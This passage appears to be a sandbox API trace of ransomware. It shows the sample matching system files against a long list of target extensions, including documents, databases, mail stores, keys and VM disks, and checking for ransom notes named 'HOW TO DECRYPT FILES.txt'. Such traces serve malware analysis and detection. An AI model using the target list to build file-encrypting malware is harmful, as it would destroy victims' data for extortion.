[0119.640] lstrlenA (lpString="*.mbox") returned 6 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.eml") returned 0 [0119.640] lstrlenA (lpString="*.eml") returned 5 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.pst") returned 0 [0119.640] lstrlenA (lpString="*.pst") returned 5 [0119.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.ost") returned 0 [0119.640] lstrlenA (lpString="*.ost") returned 5 [0119.641] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.idx") returned 0 [0119.643] lstrlenA (lpString="*.idx") returned 5 [0119.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.dbx") returned 0 [0119.643] lstrlenA (lpString="*.dbx") returned 5 [0119.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.sql") returned 0 [0119.643] lstrlenA (lpString="*.sql") returned 5 [0119.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.mdb") returned 0 [0119.643] lstrlenA (lpString="*.mdb") returned 5 [0119.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.fdb") returned 0 [0119.643] lstrlenA (lpString="*.fdb") returned 5 [0119.643] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.wab") returned 0 [0119.644] lstrlenA (lpString="*.wab") returned 5 [0119.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.dat") returned 0 [0119.644] lstrlenA (lpString="*.dat") returned 5 [0119.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.txt") returned 0 [0119.644] lstrlenA (lpString="*.txt") returned 5 [0119.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.jpeg") returned 0 [0119.644] lstrlenA (lpString="*.jpeg") returned 6 [0119.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.jpg") returned 0 [0119.644] lstrlenA (lpString="*.jpg") returned 5 [0119.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.png") returned 0 [0119.644] lstrlenA (lpString="*.png") returned 5 [0119.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.php") returned 0 [0119.644] lstrlenA (lpString="*.php") returned 5 [0119.644] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.cs") returned 0 [0119.644] lstrlenA (lpString="*.cs") returned 4 [0119.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.cpp") returned 0 [0119.645] lstrlenA (lpString="*.cpp") returned 5 [0119.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.rar") returned 0 [0119.645] lstrlenA (lpString="*.rar") returned 5 [0119.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.zip") returned 0 [0119.645] lstrlenA (lpString="*.zip") returned 5 [0119.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.html") returned 0 [0119.645] lstrlenA (lpString="*.html") returned 6 [0119.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.htm") returned 0 [0119.645] lstrlenA (lpString="*.htm") returned 5 [0119.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.xlsx") returned 0 [0119.645] lstrlenA (lpString="*.xlsx") returned 6 [0119.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.xls") returned 0 [0119.646] lstrlenA (lpString="*.xls") returned 5 [0119.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.mp4") returned 0 [0119.646] lstrlenA (lpString="*.mp4") returned 5 [0119.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.ppt") returned 0 [0119.646] lstrlenA (lpString="*.ppt") returned 5 [0119.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.pptx") returned 0 [0119.646] lstrlenA (lpString="*.pptx") returned 6 [0119.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.doc") returned 0 [0119.647] lstrlenA (lpString="*.doc") returned 5 [0119.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.dot") returned 0 [0119.647] lstrlenA (lpString="*.dot") returned 5 [0119.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.docx") returned 0 [0119.647] lstrlenA (lpString="*.docx") returned 6 [0119.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.7z") returned 0 [0119.647] lstrlenA (lpString="*.7z") returned 4 [0119.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.tar") returned 0 [0119.647] lstrlenA (lpString="*.tar") returned 5 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.bz2") returned 0 [0119.648] lstrlenA (lpString="*.bz2") returned 5 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.gz") returned 0 [0119.648] lstrlenA (lpString="*.gz") returned 4 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.mkv") returned 0 [0119.648] lstrlenA (lpString="*.mkv") returned 5 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.eml") returned 0 [0119.648] lstrlenA (lpString="*.eml") returned 5 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.msg") returned 0 [0119.648] lstrlenA (lpString="*.msg") returned 5 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.edb") returned 0 [0119.648] lstrlenA (lpString="*.edb") returned 5 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.accdb") returned 0 [0119.648] lstrlenA (lpString="*.accdb") returned 7 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.odb") returned 0 [0119.648] lstrlenA (lpString="*.odb") returned 5 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.java") returned 0 [0119.648] lstrlenA (lpString="*.java") returned 6 [0119.648] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.asm") returned 0 [0119.649] lstrlenA (lpString="*.asm") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.pfx") returned 0 [0119.649] lstrlenA (lpString="*.pfx") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.pem") returned 0 [0119.649] lstrlenA (lpString="*.pem") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.p12") returned 0 [0119.649] lstrlenA (lpString="*.p12") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.gpg") returned 0 [0119.649] lstrlenA (lpString="*.gpg") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.vsd") returned 0 [0119.649] lstrlenA (lpString="*.vsd") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.odg") returned 0 [0119.649] lstrlenA (lpString="*.odg") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.raw") returned 0 [0119.649] lstrlenA (lpString="*.raw") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.nef") returned 0 [0119.649] lstrlenA (lpString="*.nef") returned 5 [0119.649] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.svg") returned 0 [0119.649] lstrlenA (lpString="*.svg") returned 5 [0119.650] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.psd") returned 0 [0119.650] lstrlenA (lpString="*.psd") returned 5 [0119.650] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.vmx") returned 0 [0119.650] lstrlenA (lpString="*.vmx") returned 5 [0119.650] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.vmdk") returned 0 [0119.650] lstrlenA (lpString="*.vmdk") returned 6 [0119.650] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.vdi") returned 0 [0119.650] lstrlenA (lpString="*.vdi") returned 5 [0119.650] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.lay6") returned 0 [0119.650] lstrlenA (lpString="*.lay6") returned 6 [0119.650] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.mpeg") returned 0 [0119.650] lstrlenA (lpString="*.mpeg") returned 6 [0119.650] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.djvu") returned 0 [0119.650] lstrlenA (lpString="*.djvu") returned 6 [0119.650] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.tiff") returned 0 [0119.650] lstrlenA (lpString="*.tiff") returned 6 [0119.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.backup") returned 0 [0119.651] lstrlenA (lpString="*.backup") returned 8 [0119.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.pdf") returned 0 [0119.651] lstrlenA (lpString="*.pdf") returned 5 [0119.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.cert") returned 0 [0119.651] lstrlenA (lpString="*.cert") returned 6 [0119.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.docm") returned 0 [0119.651] lstrlenA (lpString="*.docm") returned 6 [0119.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.xlsm") returned 0 [0119.651] lstrlenA (lpString="*.xlsm") returned 6 [0119.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.dwg") returned 0 [0119.651] lstrlenA (lpString="*.dwg") returned 5 [0119.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.nd") returned 0 [0119.652] lstrlenA (lpString="*.nd") returned 4 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.tlg") returned 0 [0119.652] lstrlenA (lpString="*.tlg") returned 5 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.lgb") returned 0 [0119.652] lstrlenA (lpString="*.lgb") returned 5 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.mov") returned 0 [0119.652] lstrlenA (lpString="*.mov") returned 5 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.xdw") returned 0 [0119.652] lstrlenA (lpString="*.xdw") returned 5 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.ods") returned 0 [0119.652] lstrlenA (lpString="*.ods") returned 5 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.wav") returned 0 [0119.652] lstrlenA (lpString="*.wav") returned 5 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.mp3") returned 0 [0119.652] lstrlenA (lpString="*.mp3") returned 5 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.aiff") returned 0 [0119.652] lstrlenA (lpString="*.aiff") returned 6 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.flac") returned 0 [0119.652] lstrlenA (lpString="*.flac") returned 6 [0119.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.m4a") returned 0 [0119.653] lstrlenA (lpString="*.m4a") returned 5 [0119.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll", pszSpec="*.csv") returned 0 [0119.653] lstrlenA (lpString="*.csv") returned 5 [0119.653] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.653] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.653] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Instrumentation.ni.dll.aux") returned -1 [0119.653] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Instrumentation.ni.dll.aux") returned -1 [0119.653] lstrcmpiA (lpString1="", lpString2="System.Management.Instrumentation.ni.dll.aux") returned -1 [0119.653] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll") returned="System.Management.Instrumentation.ni.dll" [0119.653] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\" [0119.653] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\") returned="" [0119.653] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\HOW TO DECRYPT FILES.txt" [0119.654] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\how to decrypt files.txt")) returned 0x20 [0119.654] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\", lpString2="System.Management.Instrumentation.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux" [0119.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.654] lstrlenA (lpString="*.ems") returned 5 [0119.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.db") returned 0 [0119.654] lstrlenA (lpString="*.db") returned 4 [0119.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.dbf") returned 0 [0119.654] lstrlenA (lpString="*.dbf") returned 5 [0119.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.myox") returned 0 [0119.654] lstrlenA (lpString="*.myox") returned 6 [0119.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.myo") returned 0 [0119.655] lstrlenA (lpString="*.myo") returned 5 [0119.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.qbw") returned 0 [0119.655] lstrlenA (lpString="*.qbw") returned 5 [0119.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.qbb") returned 0 [0119.655] lstrlenA (lpString="*.qbb") returned 5 [0119.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.qbm") returned 0 [0119.655] lstrlenA (lpString="*.qbm") returned 5 [0119.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.qbo") returned 0 [0119.655] lstrlenA (lpString="*.qbo") returned 5 [0119.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.qbx") returned 0 [0119.655] lstrlenA (lpString="*.qbx") returned 5 [0119.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.qba") returned 0 [0119.656] lstrlenA (lpString="*.qba") returned 5 [0119.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", 